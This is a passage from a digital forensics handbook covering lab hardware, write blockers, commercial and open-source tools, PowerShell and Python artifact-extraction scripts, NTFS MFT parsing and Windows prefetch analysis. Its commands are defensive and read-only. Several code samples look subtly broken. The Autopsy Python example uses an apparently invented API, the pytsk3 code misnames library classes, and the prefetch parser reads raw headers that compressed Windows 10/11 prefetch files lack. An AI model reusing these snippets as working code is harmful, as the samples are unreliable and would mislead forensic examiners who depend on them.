Hardware Requirements\n\n**Workstation Specifications:**\n\n| Component | Minimum | Recommended | High-End |\n|-----------|---------|-------------|----------|\n| CPU | i7 (8 cores) | Xeon/Threadripper (16+ cores) | Dual Xeon (32+ cores) |\n| RAM | 32GB | 64GB | 128GB+ |\n| Storage | 4TB | 8TB RAID | 20TB+ RAID |\n| OS Drive | 500GB SSD | 1TB NVMe | 2TB NVMe |\n\n**Forensic Bays:**\n\n```\nWrite Blockers (Hardware):\n- Tableau TD3 (SATA/SAS)\n- WiebeTech Forensic UltraDock\n- CRU WiebeTech DriveBay\n\nWrite Blockers (Software):\n- FTK Imager (with write-block enabled)\n- Linux with mount options\n```\n\n**Evidence Storage:**\n- Secure, access-controlled room\n- Environmental controls (temp/humidity)\n- Fire suppression\n- Backup power\n- Redundant storage\n- Off-site backup\n\n**Additional Equipment:**\n- Faraday bags (mobile devices)\n- Anti-static mats/wrist straps\n- Screwdriver sets (all types)\n- Soldering equipment\n- Chip programmer\n- Logic analyzer\n- Spectrum analyzer (RF forensics)\n\n#### Write Blockers\n\nWrite blockers are essential for evidence integrity.\n\n**Hardware Write Blockers:**\n\n```\nTableau TD3 (SATA/SAS):\n- Write-block verified by NIST\n- Activity LEDs\n- Power control\n- Multiple drive support\n- Forensic mode\n\nWiebeTech Forensic UltraDock:\n- Hot-swappable\n- Multiple interfaces\n- UAS support\n- Hardware write-protect\n```\n\n**Software Write Blockers:**\n\nWindows Registry:\n```\n[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\StorageDevicePolicies]\n\"WriteProtect\"=dword:00000001\n```\n\nLinux mount:\n```bash\n# Read-only mount\nmount -o ro /dev/sdb1 /mnt/evidence\n\n# Block device read-only\nblockdev --setro /dev/sdb\n```\n\n**Write Blocker Testing:**\n```\nBefore each use:\n1. Connect drive (non-evidence)\n2. Attempt write (should fail)\n3. Verify no modifications\n4. Document test\n```\n\n#### Faraday Bags\n\nFaraday bags block electromagnetic signals, preventing remote wiping and network connections.\n\n**When to Use:**\n- Mobile phone seizure\n- Tablets\n- Smart watches\n- GPS devices\n- Key fobs\n- Any cellular/WiFi device\n\n**Proper Usage:**\n```\n1. Power off device (if safe)\n2. Place in inner bag\n3. Remove air (seal)\n4. Place in outer bag\n5. Test with phone call\n6. Document containment\n```\n\n**Types:**\n- Single-use mylar bags\n- Multi-use military-grade\n- Portable tents (large devices)\n- Mesh pouches (signal attenuation)\n\n---\n\n### 5.2 Commercial Tools\n\n#### EnCase Deep Workflow\n\nEnCase is the industry standard for forensic investigations.\n\n**EnCase Features:**\n- Evidence processing\n- File signature analysis\n- Email analysis\n- Registry viewer\n- Scripting (EnScript)\n- Reporting\n\n**Workflow:**\n\n```\n1. CASE CREATION\n   - New case\n   - Case information\n   - Examiner details\n\n2. EVIDENCE ADDITION\n   - Add evidence file (.E01)\n   - Verify hash\n   - Add to case\n\n3. PROCESSING\n   - Recover deleted files\n   - File signature analysis\n   - Hash analysis (NSRL)\n   - Indexing\n   - Encryption detection\n\n4. EXAMINATION\n   - File system browser\n   - Keyword search\n   - Bookmark evidence\n   - Timeline analysis\n   - Registry viewer\n   - Email parser\n\n5. REPORTING\n   - Bookmark report\n   - Case report\n   - Export evidence\n```\n\n**Key EnCase Concepts:**\n\n| Concept | Description | Forensic Use |\n|---------|-------------|--------------|\n| Evidence Files | Container format (.E01) | Store images |\n| Case File | Case metadata (.case) | Case management |\n| EnScripts | Automation scripts | Custom processing |\n| Conditions | Filter criteria | Evidence filtering |\n| Queries | Search definitions | Complex searches |\n\n**EnScript Examples:**\n```\n- File carver (recover by signature)\n- Registry parser (extract artifacts)\n- Timeline creator (super timeline)\n- Hash analyzer (compare to NSRL)\n```\n\n#### FTK Workflow\n\nForensic Toolkit (FTK) by AccessData offers powerful processing and indexing.\n\n**FTK Features:**\n- Distributed processing\n- Advanced indexing\n- Email analysis\n- Data carving\n- KFF (Known File Filter)\n- PRTK (Password Recovery)\n\n**Workflow:**\n\n```\n1. CASE CREATION\n   - Case wizard\n   - Examiner information\n   - Case options\n\n2. EVIDENCE ADDITION\n   - Add evidence items\n   - Processing options\n   - Indexing selection\n\n3. PROCESSING\n   - MD5/SHA hash calculation\n   - File signature analysis\n   - Compound file analysis\n   - Email extraction\n   - Thumbnail generation\n   - Text extraction\n   - Data carving\n\n4. EXAMINATION\n   - File list view\n   - Filtering\n   - Search (indexed)\n   - Email view\n   - Graphics view\n   - Bookmarks\n\n5. REPORTING\n   - Bookmark report\n   - File list report\n   - Custom templates\n   - Export\n```\n\n**FTK Distributed Processing:**\n- Master node coordinates\n- Worker nodes process evidence\n- Scales for large cases\n- Reduces processing time\n\n---\n\n### 5.3 Open Source Tools\n\n#### Autopsy\n\nAutopsy is the graphical interface to The Sleuth Kit, offering comprehensive forensic capabilities.\n\n**Features:**\n- Timeline analysis\n- Keyword search\n- File system browsing\n- EXIF metadata extraction\n- Email analysis\n- Registry analysis\n- LNK file analysis\n- Web artifact analysis\n\n**Installation:**\n```bash\n# Linux\napt-get install autopsy\n\n# Windows\n# Download installer from autopsy.com\n\n# macOS\nbrew install autopsy\n```\n\n**Basic Workflow:**\n\n```python\n# Autopsy Python module example\nfrom org.sleuthkit.autopsy.ingest import IngestManager\nfrom org.sleuthkit.autopsy.casemodule import Case\n\n# Create case\ncase = Case.create(\"CaseName\", \"ExaminerName\", \"CaseDirectory\")\n\n# Add data source\ncase.addImage(\"evidence.dd\", \"SATA Drive\", 0)\n\n# Run ingest modules\ningest = IngestManager.getInstance()\ningest.execute(case.getDataSource(0))\n\n# Access results\nfrom org.sleuthkit.autopsy.coreutils import FileUtil\nfile_results = FileUtil.findFiles(dataSource, \"keyword\", 0)\n```\n\n**Autopsy Modules:**\n\n| Module | Function |\n|--------|----------|\n| File Ingestion | File processing |\n| Hash Lookup | NSRL comparison |\n| Keyword Search | Indexed searching |\n| Email Parser | PST/OST extraction |\n| Extension Mismatch | File signature analysis |\n| EXIF Parser | Metadata extraction |\n| Recent Activity | Registry analysis |\n\n#### The Sleuth Kit (TSK)\n\nTSK is the command-line backbone of many forensic tools.\n\n**Key TSK Commands:**\n\n| Command | Function | Example |\n|---------|----------|---------|\n| mmstat | Partition info | `mmstat image.dd` |\n| mmls | List partitions | `mmls image.dd` |\n| fsstat | File system info | `fsstat -o 2048 image.dd` |\n| fls | List files/dirs | `fls -o 2048 image.dd` |\n| icat | Output file by inode | `icat -o 2048 image.dd 1234` |\n| ils | List inode info | `ils -o 2048 image.dd` |\n| jls | List journal entries | `jls -o 2048 image.dd` |\n| tsk_recover | Recover files | `tsk_recover -o 2048 image.dd output/` |\n| sorter | Automated analysis | `sorter -f ntfs image.dd` |\n\n**TSK Workflow Example:**\n\n```bash\n# Examine partition layout\nmmls evidence.dd\n\n# Output:\n# 00: ------ 0000000000 0000000000 0001953525 0x00 (Unused)\n# 01: Linux 0001953525 0001953795 0000000271 0x82 (Linux swap)\n# 02: Linux 0001953795 0390624999 0388671205 0x83 (Linux files)\n\n# Access partition 2 (offset 0001953795 sectors * 512 = 10003445760 bytes)\nfsstat -o 10003445760 evidence.dd\n\n# List root directory\nfls -o 10003445760 evidence.dd\n\n# Recover deleted files\ntsk_recover -o 10003445760 evidence.dd recovered/\n```\n\n#### Volatility\n\nVolatility is the premier memory forensics framework.\n\n**Installation:**\n```bash\n# pip installation\npip install volatility3\n\n# From source\ngit clone https://github.com/volatilityfoundation/volatility3.git\ncd volatility3\npython setup.py install\n```\n\n**Basic Commands:**\n\n```bash\n# List plugins\npython vol.py -f memory.dmp --info\n\n# Get image info\npython vol.py -f memory.dmp windows.info\n\n# List processes\npython vol.py -f memory.dmp windows.pslist\npython vol.py -f memory.dmp windows.psscan\npython vol.py -f memory.dmp windows.pstree\n\n# List network connections\npython vol.py -f memory.dmp windows.netstat\n\n# List DLLs\npython vol.py -f memory.dmp windows.dlllist --pid 1234\n\n# Dump process\npython vol.py -f memory.dmp windows.memdump --pid 1234 --dump\n\n# Extract command line\npython vol.py -f memory.dmp windows.cmdline\n\n# Registry hives\npython vol.py -f memory.dmp windows.hivelist\npython vol.py -f memory.dmp windows.printkey --key \"ControlSet001\\Control\"\n\n# Malfind (find injected code)\npython vol.py -f memory.dmp windows.malfind\n```\n\n**Plugin Categories:**\n\n| Category | Plugins | Function |\n|----------|---------|----------|\n| Process | pslist, psscan, pstree | Process enumeration |\n| Network | netscan, netstat | Network artifacts |\n| Registry | hivelist, printkey | Registry analysis |\n| Files | filescan, dumpfiles | File recovery |\n| Malware | malfind, apihooks | Malware detection |\n| Kernel | modules, drivers | Kernel artifacts |\n\n**Volatility 3 vs 2:**\n- Python 3 support\n- Faster processing\n- Better symbol handling\n- Layer architecture\n- Plugin system redesigned\n\n#### Plaso (log2timeline)\n\nPlaso creates super timelines from multiple sources.\n\n**Installation:**\n```bash\n# pip\npip install plaso\n\n# Ubuntu\napt-get install plaso-tools\n\n# From source\ngit clone https://github.com/log2timeline/plaso.git\ncd plaso\npython setup.py install\n```\n\n**Workflow:**\n\n```bash\n# Create timeline from image\nlog2timeline.py --storage-file case.plaso evidence.dd\n\n# Add additional sources\nlog2timeline.py --storage-file case.plaso --append event_logs.evtx\n\n# Process multiple partitions\nlog2timeline.py --storage-file case.plaso --partitions all evidence.dd\n\n# Generate output\npsort.py -o l2tcsv -w timeline.csv case.plaso\n\n# Filter timeline\npsort.py -o l2tcsv -w filtered.csv \"date > '2023-01-01' AND source == 'WINREG'\"\n\n# Timeline analysis\npinfo.py case.plaso  # Information about timeline\n```\n\n**Plaso Parsers:**\n\n| Parser | Source | Artifacts |\n|--------|--------|-----------|\n| winreg | Registry | User activity, system config |\n| winevt | Event logs | Security, system events |\n| filestat | File system | MAC times |\n| sqlite | SQLite DBs | Browser history, app data |\n| plist | Property lists | macOS preferences |\n| utmp | Login records | User sessions |\n| prefecth | Windows Prefetch | Program execution |\n\n---\n\n### 5.4 Automation & Scripting\n\n#### Python for Forensics\n\nPython is the language of choice for forensic automation.\n\n**Essential Python Libraries:**\n\n| Library | Purpose | Example |\n|---------|---------|---------|\n| pytsk3 | File system access | Read disk images |\n| pyewf | E01 image support | Access EnCase images |\n| dfVFS | Virtual file system | Multi-format support |\n| registry | Registry parsing | Windows registry |\n| pefile | PE file analysis | Malware analysis |\n| yara | Pattern matching | Malware detection |\n| volatility3 | Memory analysis | Plugin development |\n\n**File System Access Example:**\n\n```python\nimport pytsk3\nimport pyewf\n\n# Open E01 image\newf_handle = pyewf.handle()\newf_handle.open('evidence.E01')\n\n# Create TSK image\nimg_info = pytsk3.img_info(ewf_handle)\n\n# Open partition\nvolume = pytsk3.volume(img_info)\nfor part in volume:\n    print(f\"Partition {part.addr}: {part.desc}\")\n\n# Access file system\nfilesystem = pytsk3.fs_info(img_info)\ndirectory = filesystem.open_dir(path=\"/\")\nfor f in directory:\n    print(f.info.name.name)\n```\n\n**Registry Parsing:**\n\n```python\nfrom Registry import Registry\n\n# Open registry hive\nreg = Registry.Registry('NTUSER.DAT')\n\n# Get user activity\nkey = reg.open('Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\RecentDocs')\nfor value in key.values():\n    print(f\"{value.name()}: {value.value()}\")\n\n# Typed URLs\nkey = reg.open('Software\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs')\nfor value in key.values():\n    print(f\"{value.name()}: {value.value()}\")\n```\n\n**File Carving:**\n\n```python\nimport re\n\ndef carve_jpegs(image_path, output_dir):\n    \"\"\"Simple JPEG carver\"\"\"\n    JPEG_HEADER = b'\\xff\\xd8\\xff'\n    JPEG_FOOTER = b'\\xff\\xd9'\n    \n    with open(image_path, 'rb') as f:\n        data = f.read()\n    \n    # Find all JPEG headers\n    offsets = [m.start() for m in re.finditer(JPEG_HEADER, data)]\n    \n    for i, start in enumerate(offsets):\n        # Find next footer after header\n        footer_pos = data.find(JPEG_FOOTER, start + 2)\n        if footer_pos > start:\n            # Extract JPEG\n            jpeg_data = data[start:footer_pos + 2]\n            with open(f\"{output_dir}/carved_{i}.jpg\", 'wb') as out:\n                out.write(jpeg_data)\n                print(f\"Carved JPEG {i}: {len(jpeg_data)} bytes\")\n```\n\n#### PowerShell Artifact Extraction\n\nPowerShell is invaluable for Windows live response.\n\n**System Information:**\n\n```powershell\n# Comprehensive system info\n$sysinfo = [PSCustomObject]@{\n    ComputerName = $env:COMPUTERNAME\n    OS = (Get-WmiObject Win32_OperatingSystem).Caption\n    Version = (Get-WmiObject Win32_OperatingSystem).Version\n    LastBoot = (Get-WmiObject Win32_OperatingSystem).LastBootUpTime\n    Uptime = (Get-Date) - (Get-WmiObject Win32_OperatingSystem).ConvertToDateTime(\n        (Get-WmiObject Win32_OperatingSystem).LastBootUpTime\n    )\n    TimeZone = (Get-TimeZone).DisplayName\n    Domain = (Get-WmiObject Win32_ComputerSystem).Domain\n}\n$sysinfo | Export-Csv system_info.csv -NoTypeInformation\n```\n\n**Process Analysis:**\n\n```powershell\n# Detailed process list with network connections\n$processes = Get-Process | ForEach-Object {\n    $proc = $_\n    $connections = netstat -ano | Where-Object {$_ -match $proc.Id}\n    \n    [PSCustomObject]@{\n        PID = $proc.Id\n        Name = $proc.ProcessName\n        Path = $proc.Path\n        CPU = $proc.CPU\n        Memory = $proc.WorkingSet / 1MB\n        Connections = $connections -join \"; \"\n        Started = $proc.StartTime\n        Company = (Get-Item $proc.Path -ErrorAction SilentlyContinue |\n            Select-Object -ExpandProperty VersionInfo).CompanyName\n    }\n}\n$processes | Export-Csv processes.csv -NoTypeInformation\n```\n\n**Registry Artifacts:**\n\n```powershell\n# Extract USB history\n$usbKeys = Get-ChildItem \"HKLM:\\SYSTEM\\CurrentControlSet\\Enum\\USBSTOR\" -Recurse -ErrorAction SilentlyContinue\n$usbDevices = foreach($key in $usbKeys) {\n    $values = Get-ItemProperty $key.PSPath\n    [PSCustomObject]@{\n        FriendlyName = $values.FriendlyName\n        Serial = $key.PSChildName\n        Class = $values.Class\n        FirstInstall = $key.LastWriteTime\n    }\n}\n$usbDevices | Export-Csv usb_history.csv -NoTypeInformation\n\n# Recent documents\n$recentDocs = Get-ChildItem \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs\" |\n    Get-ItemProperty |\n    Select-Object -ExpandProperty PSObject.Properties |\n    Where-Object {$_.Name -match \"^[0-9]+$\"}\n$recentDocs | Export-Csv recent_docs.csv -NoTypeInformation\n```\n\n**Event Log Extraction:**\n\n```powershell\n# Extract security events with details\n$events = Get-WinEvent -LogName Security -MaxEvents 10000 | ForEach-Object {\n    [PSCustomObject]@{\n        TimeCreated = $_.TimeCreated\n        ID = $_.Id\n        Level = $_.LevelDisplayName\n        User = $_.Properties[0].Value  # Often user in first property\n        Computer = $_.MachineName\n        Message = $_.Message\n    }\n}\n$events | Export-Csv security_events.csv -NoTypeInformation\n\n# Failed logons\n$failedLogons = Get-WinEvent -FilterHashtable @{\n    LogName='Security'\n    ID=4625\n} -MaxEvents 1000 | ForEach-Object {\n    $xml = [xml]$_.ToXml()\n    [PSCustomObject]@{\n        Time = $_.TimeCreated\n        User = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'TargetUserName'} | Select-Object -ExpandProperty '#text'\n        IP = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'IpAddress'} | Select-Object -ExpandProperty '#text'\n        Process = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'ProcessName'} | Select-Object -ExpandProperty '#text'\n    }\n}\n$failedLogons | Export-Csv failed_logons.csv -NoTypeInformation\n```\n\n**File System Timeline:**\n\n```powershell\n# Create timeline of recent file activity\n$timeline = Get-ChildItem C:\\ -Recurse -ErrorAction SilentlyContinue |\n    Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-7)} |\n    ForEach-Object {\n        [PSCustomObject]@{\n            Path = $_.FullName\n            LastWrite = $_.LastWriteTime\n            LastAccess = $_.LastAccessTime\n            Creation = $_.CreationTime\n            Size = $_.Length\n            Attributes = $_.Attributes\n        }\n    }\n$timeline | Export-Csv file_timeline.csv -NoTypeInformation\n```\n\n**Memory Acquisition:**\n\n```powershell\n# Using built-in tools for memory capture\n$memoryFile = \"C:\\forensics\\memory_$(Get-Date -Format 'yyyyMMdd_HHmmss').raw\"\n\n# Use winpmem if available\nif (Test-Path \".\\winpmem_mini_x64_rc2.exe\") {\n    .\\winpmem_mini_x64_rc2.exe $memoryFile\n}\n\n# Alternative using FTK Imager CLI\nif (Test-Path \"C:\\Program Files\\AccessData\\FTK Imager\\ftkimager.exe\") {\n    & \"C:\\Program Files\\AccessData\\FTK Imager\\ftkimager.exe\" memory $memoryFile\n}\n\n# Hash the memory capture\n$hash = Get-FileHash $memoryFile -Algorithm SHA256\n$hash | Out-File \"$memoryFile.sha256\"\n```\n\n---\n\n# PART III \u2013 DISK & FILE SYSTEM FORENSICS\n\n---\n\n## Chapter 6 \u2013 NTFS & Windows Artifact Forensics\n\n---\n\n### 6.1 MFT Forensic Parsing\n\nThe Master File Table (MFT) is the most critical artifact in NTFS forensics. Every file and folder on an NTFS volume has at least one entry in the MFT, making it a comprehensive record of all file system activity.\n\n#### MFT Entry Structure Deep Dive\n\nEach MFT entry is typically 1024 bytes (although this can vary) and begins with a standard header. Understanding this structure allows examiners to recover critical information even when files are deleted or partially overwritten.\n\n**MFT Header (First 42 bytes):**\n\n| Offset | Field | Size | Description | Forensic Value |\n|--------|-------|------|-------------|----------------|\n| 0x00 | Signature | 4 bytes | \"FILE\" (0x454C4946) for valid entries | Quick validation |\n| 0x04 | Update Offset | 2 bytes | Offset to fixup array | Data integrity |\n| 0x06 | Update Count | 2 bytes | Number of fixup entries | Fixup validation |\n| 0x08 | $LogFile LSN | 8 bytes | Last LSN modifying this entry | Transaction tracking |\n| 0x10 | Sequence Number | 2 bytes | Incremented when entry reused | Detects deletion/recreation |\n| 0x12 | Hard Link Count | 2 bytes | Number of directory entries | Multiple names/paths |\n| 0x14 | Attribute Offset | 2 bytes | Offset to first attribute | Navigation |\n| 0x16 | Flags | 2 bytes | 0x01=InUse, 0x02=Directory | File/folder status |\n| 0x18 | Entry Size | 4 bytes | Size of this MFT entry | Slack space calculation |\n| 0x1C | Allocated Size | 4 bytes | Size allocated on disk | Deleted entry detection |\n| 0x20 | File Reference | 8 bytes | Base file record | Extended entries |\n| 0x28 | Next Attribute ID | 2 bytes | ID for next attribute | Attribute counting |\n| 0x2A | Record Number | 4 bytes | Index of this entry | Location tracking |\n\n**Forensic Gold in the Header:**\n\nThe **Sequence Number** is particularly valuable. Each time an MFT entry is reused (when a file is deleted and a new file created), this number increments. By examining sequence numbers, investigators can:\n- Determine if a file record has been reused\n- Estimate how many files have occupied this MFT slot\n- Detect anti-forensic tools that attempt to wipe MFT entries\n\nThe **Flags** field tells us immediately whether this entry is in use and whether it represents a file or directory. Deleted files will have this flag set to 0x00 (not in use) or 0x02 (directory not in use).\n\n#### Attribute Types and Their Forensic Significance\n\nFollowing the header are attributes. Each attribute has a standard header followed by attribute-specific data.\n\n**Standard Attribute Header (16 bytes):**\n\n| Offset | Field | Size | Description |\n|--------|-------|------|-------------|\n| 0x00 | Type ID | 4 bytes | Attribute type (e.g., 0x10 = $STANDARD_INFORMATION) |\n| 0x04 | Length | 4 bytes | Total attribute length |\n| 0x08 | Non-resident flag | 1 byte | 0=Resident, 1=Non-resident |\n| 0x09 | Name length | 1 byte | Length of attribute name |\n| 0x0A | Name offset | 2 bytes | Offset to attribute name |\n| 0x0C | Flags | 2 bytes | Compression, encryption, sparse |\n| 0x0E | Attribute ID | 2 bytes | Unique ID for this attribute |\n\n**For resident attributes** (data stored within MFT), after the header comes:\n| Offset | Size | Field |\n|--------|------|-------|\n| 0x10 | 4 bytes | Attribute content size |\n| 0x14 | 2 bytes | Offset to content |\n| 0x16 | 1 byte | Indexed flag |\n| 0x17 | 1 byte | Padding |\n| Then content at offset specified\n\n**For non-resident attributes** (data stored in clusters), after the header comes:\n| Offset | Size | Field |\n|--------|------|-------|\n| 0x10 | 8 bytes | Starting VCN |\n| 0x18 | 8 bytes | Last VCN |\n| 0x20 | 2 bytes | Data runs offset |\n| 0x22 | 2 bytes | Compression unit size |\n| 0x24 | 4 bytes | Padding |\n| 0x28 | 8 bytes | Allocated size |\n| 0x30 | 8 bytes | Actual size |\n| 0x38 | 8 bytes | Initialized size |\n| Then data runs at offset specified\n\n#### Critical MFT Attributes\n\n**$STANDARD_INFORMATION (0x10)**\n\nThis attribute contains basic file metadata and is frequently targeted by anti-forensic tools.\n\n```\nStructure:\n- Creation time (64-bit Windows timestamp)\n- Modification time\n- MFT modification time\n- Access time\n- File permissions (DOS attributes)\n- Maximum versions\n- Version number\n- Class ID\n- Owner ID\n- Security ID\n- Quota charged\n- USN Journal ID\n```\n\n**Forensic Significance:** Malware often modifies timestamps in this attribute to hide its activities. However, many anti-forensic tools miss the timestamps stored elsewhere.\n\n**$FILE_NAME (0x30)**\n\nThis attribute contains the file name and parent directory reference. A file can have multiple $FILE_NAME attributes (hard links, long vs short names).\n\n```\nStructure:\n- Parent directory file reference\n- Creation time\n- Modification time\n- MFT modification time\n- Access time\n- Allocated size\n- Actual size\n- Flags\n- Extended attributes size\n- Name length\n- Name namespace (POSIX, Win32, DOS, etc.)\n- File name (Unicode)\n```\n\n**Forensic Gold:** Comparing timestamps between $STANDARD_INFORMATION and $FILE_NAME often reveals timestamp manipulation. If they differ significantly, the file may have been tampered with.\n\n**$DATA (0x80)**\n\nThis is the actual file content. For small files (typically < 700 bytes), the data is stored resident within the MFT entry itself.\n\n**Resident Data:** The file content is right there in the MFT. Even if the file is \"deleted,\" if the MFT entry hasn't been reused, the content remains accessible.\n\n**Non-Resident Data:** The attribute contains data runs that point to clusters on disk where the file content is stored.\n\n**Data Run Structure:**\n```\nEach data run: [Header][Length][Offset]\nHeader: 1 byte, high nibble = offset length, low nibble = length length\nLength: Variable length, little-endian, actual length in clusters\nOffset: Variable length, little-endian, relative offset to previous run\n```\n\n**Example Data Run Parsing:**\n```\nData run: 31 02 3A 01 34 12\n31 = 0x31 \u2192 length length = 1, offset length = 3\n02 = length = 2 clusters\n3A 01 34 = offset = 0x34013A (relative offset)\n```\n\nThis points to 2 clusters starting at offset 0x34013A from the previous run.\n\n**$INDEX_ROOT and $INDEX_ALLOCATION (0x90, 0xA0)**\n\nThese attributes store directory information. Directories are actually special files containing indexes of their contents.\n\n**$INDEX_ROOT:** For small directories, contains the index entries directly.\n**$INDEX_ALLOCATION:** For large directories, contains index buffers stored outside the MFT.\n\n**Index Entry Structure:**\n- File reference (MFT entry of the file)\n- Index entry length\n- Stream length\n- Flags (0x01=Has subnode, 0x02=Last entry)\n- File name length\n- File name\n- Padding\n\n#### Deleted File Recovery from MFT\n\nWhen a file is deleted in NTFS:\n\n1. The MFT entry's Flags field changes from 0x01 (in use) to 0x00 (not in use)\n2. The $BITMAP attribute marks the file's clusters as available\n3. The file's directory entry is removed (but may remain in index buffers)\n4. The MFT entry's Sequence Number increments\n5. All attributes remain intact until overwritten\n\n**Recovery Process:**\n\n```python\nimport pytsk3\nimport sys\n\ndef recover_deleted_mft_entries(image_path, partition_offset):\n    \"\"\"Extract and analyze MFT entries to find deleted files\"\"\"\n    \n    # Open image\n    img = pytsk3.Img_Info(image_path)\n    \n    # Open partition\n    fs = pytsk3.FS_Info(img, offset=partition_offset)\n    \n    # Get MFT info\n    mft = fs.open_meta(file=0)  # MFT itself is file 0\n    \n    # Read MFT in chunks\n    mft_size = mft.info.meta.size\n    mft_entry_size = 1024  # Typical size\n    num_entries = mft_size // mft_entry_size\n    \n    recovered_files = []\n    \n    for i in range(num_entries):\n        # Read this MFT entry\n        entry_data = mft.read_random(i * mft_entry_size, mft_entry_size)\n        \n        # Check signature\n        if entry_data[0:4] != b'FILE':\n            continue\n            \n        # Check flags (0x00 = deleted, 0x01 = in use)\n        flags = int.from_bytes(entry_data[0x16:0x18], 'little')\n        \n        if flags & 0x01 == 0:  # Not in use (deleted)\n            # Parse attributes to find filename\n            attr_offset = int.from_bytes(entry_data[0x14:0x16], 'little')\n            \n            while attr_offset < mft_entry_size:\n                attr_type = int.from_bytes(\n                    entry_data[attr_offset:attr_offset+4], 'little'\n                )\n                attr_len = int.from_bytes(\n                    entry_data[attr_offset+4:attr_offset+8], 'little'\n                )\n                \n                if attr_type == 0x30:  # $FILE_NAME\n                    # Extract filename\n                    name_len = entry_data[attr_offset+0x58]\n                    name_offset = attr_offset + 0x5A\n                    filename = entry_data[name_offset:name_offset+name_len*2].decode(\n                        'utf-16le', errors='ignore'\n                    ).strip('\\x00')\n                    \n                    # Extract timestamps\n                    create_time = int.from_bytes(\n                        entry_data[attr_offset+0x18:attr_offset+0x20], 'little'\n                    )\n                    \n                    recovered_files.append({\n                        'record_number': i,\n                        'filename': filename,\n                        'create_time': create_time,\n                        'flags': flags\n                    })\n                    \n                if attr_len == 0:\n                    break\n                    \n                attr_offset += attr_len\n    \n    return recovered_files\n\n# Usage\ndeleted = recover_deleted_mft_entries('evidence.dd', 2048 * 512)\nfor f in deleted:\n    print(f\"Record {f['record_number']}: {f['filename']}\")\n```\n\n**Manual MFT Parsing with TSK:**\n\n```bash\n# List all files including deleted\nfls -o 2048 -r evidence.dd\n\n# Show MFT entry details\nistat -o 2048 evidence.dd 12345\n\n# Extract specific MFT entry\nicat -o 2048 evidence.dd 12345 > mft_entry_12345.bin\n\n# List deleted files only\nfls -o 2048 -d evidence.dd\n```\n\n---\n\n### 6.2 Prefetch Analysis\n\nPrefetch files are created by Windows to speed up application loading. Each time an application runs, Windows records information about the files it accesses and stores this in a .pf file in the %SystemRoot%\\Prefetch directory.\n\n#### Prefetch File Structure\n\n**Windows 10/11 Prefetch (.pf) Format:**\n\n| Offset | Size | Field | Description |\n|--------|------|-------|-------------|\n| 0x00 | 4 | Version | Format version |\n| 0x04 | 4 | Signature | \"SCCA\" |\n| 0x08 | 4 | File size | Total prefetch size |\n| 0x18 | 8 | Last run time | When program last executed |\n| 0x20 | 8 | Run count | Number of executions |\n| 0x48 | 4 | File metrics offset | Offset to file list |\n| 0x4C | 4 | File metrics count | Number of files accessed |\n| 0x68 | 4 | Trace chains offset | Volume information |\n| 0x70 | 4 | Volume info offset | Volume data |\n| 0x74 | 4 | Volume info size | Size of volume data |\n| Variable | | File list | Array of accessed files |\n| Variable | | Volume information | Volume paths and serials |\n\n**File Metrics Entry:**\n- Filename offset\n- Filename size\n- Number of runs\n- Run offsets\n\n#### Forensic Value of Prefetch\n\nPrefetch provides:\n- **Execution history:** Every time a program runs (up to 128 executions per program)\n- **First execution time:** When the program first ran\n- **Last execution time:** Most recent execution\n- **Run count:** How many times executed\n- **File access:** All files accessed during execution\n- **Volume information:** Source volume and path\n\n**What Prefetch Reveals:**\n\n```\nExample: NOTEPAD.EXE-12345678.pf\n- Application: Notepad\n- Hash: 12345678 (based on path)\n- Run count: 15\n- Last run: 2023-06-15 14:23:45\n- Accessed files:\n  - \\WINDOWS\\SYSTEM32\\NOTEPAD.EXE\n  - \\USERS\\JOHN\\DOCUMENTS\\SECRET.TXT\n  - \\WINDOWS\\SYSTEM32\\NTDLL.DLL\n```\n\n**Investigative Uses:**\n\n1. **Determine what applications were run:**\n   - Malware execution\n   - Unauthorized tools\n   - User activity\n\n2. **Establish timeline:**\n   - When malware first appeared\n   - Pattern of usage\n\n3. **Find accessed files:**\n   - What documents were opened with that application\n   - Data theft evidence\n\n4. **Identify USB launches:**\n   - Programs executed from external drives\n   - Path shows drive letter\n\n#### Prefetch Analysis Tools\n\n**PECmd (Prefetch Explorer Command Line):**\n\n```bash\n# Parse single prefetch file\nPECmd.exe -f C:\\Windows\\Prefetch\\NOTEPAD.EXE-12345678.pf\n\n# Parse all prefetch files\nPECmd.exe -d C:\\Windows\\Prefetch -o results.csv\n\n# Output with timeline\nPECmd.exe -d C:\\Windows\\Prefetch --csv timeline.csv\n```\n\n**Sample Output:**\n```\nProcessing NOTEPAD.EXE-12345678.pf\n\nCreated on: 2023-01-15 10:23:45\nModified on: 2023-06-15 14:25:12\nLast executed: 2023-06-15 14:23:45\nExecutions: 15\n\nVolume Information:\n  Serial Number: 1234-5678\n  Path: \\VOLUME{01abc234}\n  Creation: 2023-01-15 10:23:45\n\nAccessed Files:\n  1. \\WINDOWS\\SYSTEM32\\NOTEPAD.EXE\n  2. \\USERS\\JOHN\\DOCUMENTS\\SECRET.TXT\n  3. \\WINDOWS\\SYSTEM32\\NTDLL.DLL\n  4. \\USERS\\JOHN\\DESKTOP\\NOTES.TXT\n```\n\n**PowerShell Analysis:**\n\n```powershell\n# Extract prefetch information\n$prefetchDir = \"C:\\Windows\\Prefetch\"\n$results = @()\n\nGet-ChildItem $prefetchDir -Filter *.pf | ForEach-Object {\n    $file = $_\n    $bytes = [System.IO.File]::ReadAllBytes($file.FullName)\n    \n    # Check signature\n    $sig = [System.Text.Encoding]::ASCII.GetString($bytes[4..7])\n    if ($sig -ne \"SCCA\") { return }\n    \n    # Get run count and last run time\n    $runCount = [System.BitConverter]::ToUInt32($bytes, 0x20)\n    $lastRun = [System.BitConverter]::ToUInt64($bytes, 0x18)\n    \n    # Convert Windows file time\n    if ($lastRun -gt 0) {\n        $lastRunTime = [DateTime]::FromFileTime($lastRun)\n    }\n    \n    $results += [PSCustomObject]@{\n        FileName = $_.Name\n        Executable = ($_.Name -split '\\.')[0]\n        RunCount = $runCount\n        LastRun = $lastRunTime\n        Created = $_.CreationTime\n        Modified = $_.LastWriteTime\n    }\n}\n\n$results | Sort-Object LastRun -Descending | Export-Csv prefetch.csv\n```\n\n#### Prefetch Limitations and Anti-Forensics\n\n**Limitations:**\n- Only enabled 